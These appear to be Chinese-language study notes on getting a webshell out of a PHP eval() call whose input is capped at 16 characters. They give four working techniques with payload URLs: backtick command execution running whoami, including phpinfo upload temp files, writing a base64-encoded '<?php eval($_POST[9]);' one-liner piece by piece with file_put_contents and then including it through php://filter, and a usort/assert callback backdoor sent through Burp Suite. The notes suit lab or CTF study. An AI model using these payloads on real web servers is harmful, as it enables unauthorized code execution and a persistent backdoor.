EVAL长度限制突破
php,eval函数参数限制在16个字符的情况下,如何拿到webshell?
<?php
$param = $_REQUEST['param'];
if (strlen($param) < 17 && stripos($param,'eval') === false && stripos($param,'assert') === false)
{eval($param);
}
一、`$_GET[1]`
使用:?param=echo `$_GET[1]`;&1=whoami
需要用Linux系统的环境,因为windows系统可能解析不了`小斜杠
二、include$_GET[1];
phpinfo();==>$FILES[file][tmp_name]==>include
这个技巧是怎么利用的呢
这个利用必须要一个phpinfo的一个界面
文件包含里要用
有phpinfo.php的页面
然后用脚本在phpinfo里不断上传post,垃圾数据,大型文件,然后让它生成临时文件
找到临时文件的位置,然后在1的这个位置输入进去
相当于include把这个文件包含进来了
在真实的环境下利用率不是很高,因为有需要有phpinfo.php页面
三、$_GET[1](N,P,8);
PD9waHAgZXZhbCgkX1BPU1RbOV0pOw ---(写入N文件 )
base64解码是<?php eval($_POST[9]);
所以1是接的值是<?php eval($_POST[9]);
让include包含它去执行<?php eval($_POST[9]);
hua.php?1=file_put_contents¶m=$_GET[1](N,P,8);
hua.php?1=file_put_contents¶m=$_GET[1](N,D,8);
hua.php?1=file_put_contents¶m=$_GET[1](N,w,8);
期待的结果是将(PD9waHAgZXZhbCgkX1BPU1RbOV0pOw)一个一个追加到N文件中
file_put_contents中有一个参数可以进行追加就是FILE_APPEND,
但是如果?1=file_put_contents¶m=$_GET[1](N,P,FILE_APPEND);长度超过了限制
那这里怎么办呢,是否有其他的代替FILE_APPEND同样有追加的效果
php中c语言的底层代码数字8就是表示追加
为什么追加base64编码呢不直接追加<?php eval($_POST[9]);呢?
file_put_contents不能追加<字符
hua.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
使用php://filter/的伪协议进行base64转码,然后用include包含文件来执行传参9 的值
这里用到1=file_put_contents是为了赋值,摆脱限长
file_put_contents是写文件
http://127.0.0.1/hua.php?1=file_put_contents¶m=$_GET[1](N,P,8);
四、usort(...$_GET);
php5.6+变长参数==>usort回调后门==>任意代码执行
hua.php?1[ ]=test&1[ ]=phpinfo();&2=assert
那什么是变长参数?
使用 ... 运算符进行参数展开
目前usort可以接到(...$_GET)的传参,...$_GET可以传多个不同的传参
uksort(array &$array
, callable $callback
): true
前者是数组,后者是回调函数
用burpsuite
手动修改post请求需要加Content-Type:application/x-www-form-urlencoded
添加:param=usort(...$_GET);
php7.3的版本不可以使用动态的包含文件
用该url抓包hua.php?1[ ]=test&1[ ]=phpinfo();&2=assert
修改传参类型改为POST传参
这里post需要添加Content-Type:头部字段
请求后发现一句话解析成功